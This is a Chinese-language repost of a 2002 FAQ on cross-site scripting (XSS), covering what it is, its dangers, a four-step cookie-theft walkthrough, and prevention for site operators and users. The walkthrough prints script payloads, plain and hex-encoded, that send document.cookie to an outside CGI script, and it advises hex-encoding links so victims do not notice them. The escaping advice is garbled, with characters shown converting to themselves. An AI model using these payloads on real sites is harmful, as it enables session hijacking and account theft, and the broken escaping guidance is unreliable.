`
shangjava
  • 浏览: 1234417 次
  • 性别: Icon_minigender_1
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

跨站脚本攻击(XSS)

阅读更多

原作者charlee、原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明。

该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml

简介
什么是跨站脚本攻击?
XSS和CSS是什么意思?
跨站脚本攻击有什么危害?
能否给出几个跨站脚本攻击的例子?
能否解释一下XSS cookie是什么意思?
第一步: 锁定目标
第二步: 测试
第三步: 执行XSS
第四步: 处理收集到的信息
作为网站管理者应当如何防范?
作为用户应当如何防范?
XSS漏洞有多常见?
加密能否防止XSS攻击?
XSS漏洞能否在服务器上执行命令?
如果我不修改CSS/XSS漏洞会怎样?
介绍一些更深入讲解XSS的地方。

--------------------------------------------------------------------------------

简介
现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其所写成 XSS)的威胁,而静态站点则完全不受其影响。这篇FAQ将使你能更深入地理解这种威胁,并给出如何检测并防止的建议。

什么是跨站脚本攻击?
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思?
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”,显然他是在说跨站脚本攻击。

跨站脚本攻击有什么危害?
为了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的“自动攻击”。

http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
能否给出几个跨站脚本攻击的例子?
著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行,因此经常被黑客们作为XSS的攻击对象进行检查。下面给出了几个已公开报告的攻击方法。

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
能否解释一下XSS cookie是什么意思?
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。

第一步: 锁定目标
当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。

第二步: 测试
不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e第三步: 执行XSS
将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。

第四步: 处理收集到的信息
一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

作为网站管理者应当如何防范?
这个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。另一个建议是输出页面时将 < 和 > 变换成 < 和 >。要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的网站的用户信赖度。当然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &。

作为用户应当如何防范?
保护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如,如果你访问了一个网站,该网站有一个链接指向了 CNN,那么不要单击该链接,而是访问 CNN 的主站点并使用搜索引擎查找相关内容。这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高,可以防止cookie被盗。

XSS漏洞有多常见?
由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

在商业产品中,平均每个月能够发现10-25个XSS漏洞。

加密能否防止XSS攻击?
使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作,只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的,其实不然。

XSS漏洞能否在服务器上执行命令?
XSS漏洞会导致Javascript的恶意插入,但它的执行受到很多限制。如果攻击者利用浏览器的漏洞,有可能在用户的计算机上执行命令。因此,就算能够执行命令也只能在客户端。简单地说,XSS漏洞可以触发客户端的其他漏洞。

如果我不修改CSS/XSS漏洞会怎样?
如果不修改XSS漏洞,你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞,这个问题已经得到普遍认识。如果不修改,发现它的人也许会警告你的公司,损害公司的信誉。你拒绝修改漏洞的消息也会传到客户那里,造成公司的信任危机。客户不信任的话还怎么做生意?

介绍一些更深入讲解XSS的地方。
"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

分享到:
评论

相关推荐

    XSS跨站脚本攻击剖析与防御.pdf

    XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...

    web安全技术-实验七、跨站脚本攻击(xss)(反射型).doc

    【跨站脚本攻击(XSS)概述】 XSS,全称Cross Site Scripting,是一种常见的Web应用程序安全漏洞,攻击者利用此漏洞向网页中注入恶意脚本,当其他用户浏览该页面时,这些脚本会被执行,从而可能窃取用户的敏感信息...

    XSS跨站脚本攻击剖析与防御

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本。这种攻击通常发生在Web应用中,当网站未能正确地过滤或转义用户输入的数据,使得这些数据可以作为可...

    XSS跨站脚本攻击在Java开发中防范的方法

    ### XSS跨站脚本攻击在Java开发中的防范方法 #### XSS攻击原理与分类 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的安全威胁,它利用Web应用程序的安全漏洞,将恶意脚本注入到合法的网页中,进而攻击最终...

    XSS跨站脚本攻击漏洞修复方法

    **XSS跨站脚本攻击漏洞修复方法** XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全威胁,它允许攻击者在用户的浏览器上执行恶意代码,从而窃取用户敏感信息、操纵用户行为或者对网站进行破坏。本文将...

    XSS跨站脚本攻击

    ### XSS跨站脚本攻击详解 #### 一、XSS跨站脚本攻击概述 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web应用安全威胁,其核心在于利用网站对用户输入数据的处理不当,允许攻击者注入恶意脚本到网页中,...

    xss跨站脚本攻击与预防

    **XSS跨站脚本攻击详解** XSS(Cross Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本,从而获取敏感信息或者操控用户的行为。这种攻击主要发生在Web应用中,攻击...

    xss跨站脚本攻击汇总

    xss 跨站脚本攻击汇总 xss 跨站脚本攻击是一种常见的 web 应用程序漏洞,攻击者可以inject 恶意脚本到网页中,从而获取用户的敏感信息或控制用户的浏览器行为。下面是 xss 跨站脚本攻击的一些常见类型: 1. 普通的...

    跨站脚本攻击交流ppt

    跨站脚本攻击交流的ppt,可参考 ppt

    XSS 跨站脚本攻击及防范

    XSS(Cross Site Scripting)跨站脚本攻击是一种网络安全漏洞,主要针对Web应用程序,让攻击者能够在受害者的浏览器上执行恶意脚本。攻击者通过在网页中插入有害的HTML代码,当用户浏览该页面时,这些代码会被执行,...

    xss跨站脚本攻击-运维安全详细笔记

    xss跨站脚本攻击知识点总结 xss跨站脚本攻击是一种常见的Web应用安全漏洞,攻击者可以通过在网站上注入恶意代码,盗取用户敏感信息,控制企业数据,非法转账,发送恶意邮件等。下面是xss跨站脚本攻击的知识点总结:...

    跨站脚本攻击原理与防范

    跨站脚本攻击(XSS攻击)是一种常见的网站安全漏洞利用方式,它允许攻击者在用户的浏览器中执行恶意脚本,从而进行非法操作。本文将详细介绍跨站脚本攻击的原理和防范措施。 首先,要理解跨站脚本攻击,必须先了解...

    跨站脚本攻击字符过滤

    然而,在享受便捷的同时,我们也面临着各种网络安全威胁,其中“跨站脚本攻击”(Cross-Site Scripting,简称XSS)是一种非常常见的攻击方式。本文将详细介绍如何通过字符过滤技术来防御XSS攻击。 #### 二、跨站...

    xss跨站脚本攻击

    ### XSS跨站脚本攻击详解 #### 一、XSS跨站脚本攻击概述 XSS(Cross-Site Scripting),即跨站脚本攻击,是一种常见的网络安全威胁,主要通过在受害者的浏览器环境中注入恶意脚本,从而实现对用户的攻击。这种攻击...

    XSS跨站脚本攻击剖析与防御 文字版 epub格式

    XSS跨站脚本攻击剖析与防御 文字版 epub格式

    XSS跨站脚本攻击剖析与防御.docx

    ### XSS跨站脚本攻击剖析与防御 #### 一、XSS攻击概述 跨站脚本(Cross Site Scripting,简称XSS)攻击是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意脚本注入到看似可信的网站上。当用户浏览这些被注入...

    51CTO下载-XSS跨站脚本gj剖析与防御(完整版

    51CTO下载-XSS跨站脚本攻击剖析与防御(完整版)

    什么是跨站脚本(XSS)攻击

    跨站脚本(Cross-Site Scripting,简称 XSS)攻击是一种针对Web应用的网络安全威胁,它主要利用了网站对用户输入数据的处理不足,使得攻击者能够在网页中嵌入恶意脚本,当其他用户浏览这些页面时,恶意脚本会在用户...

Global site tag (gtag.js) - Google Analytics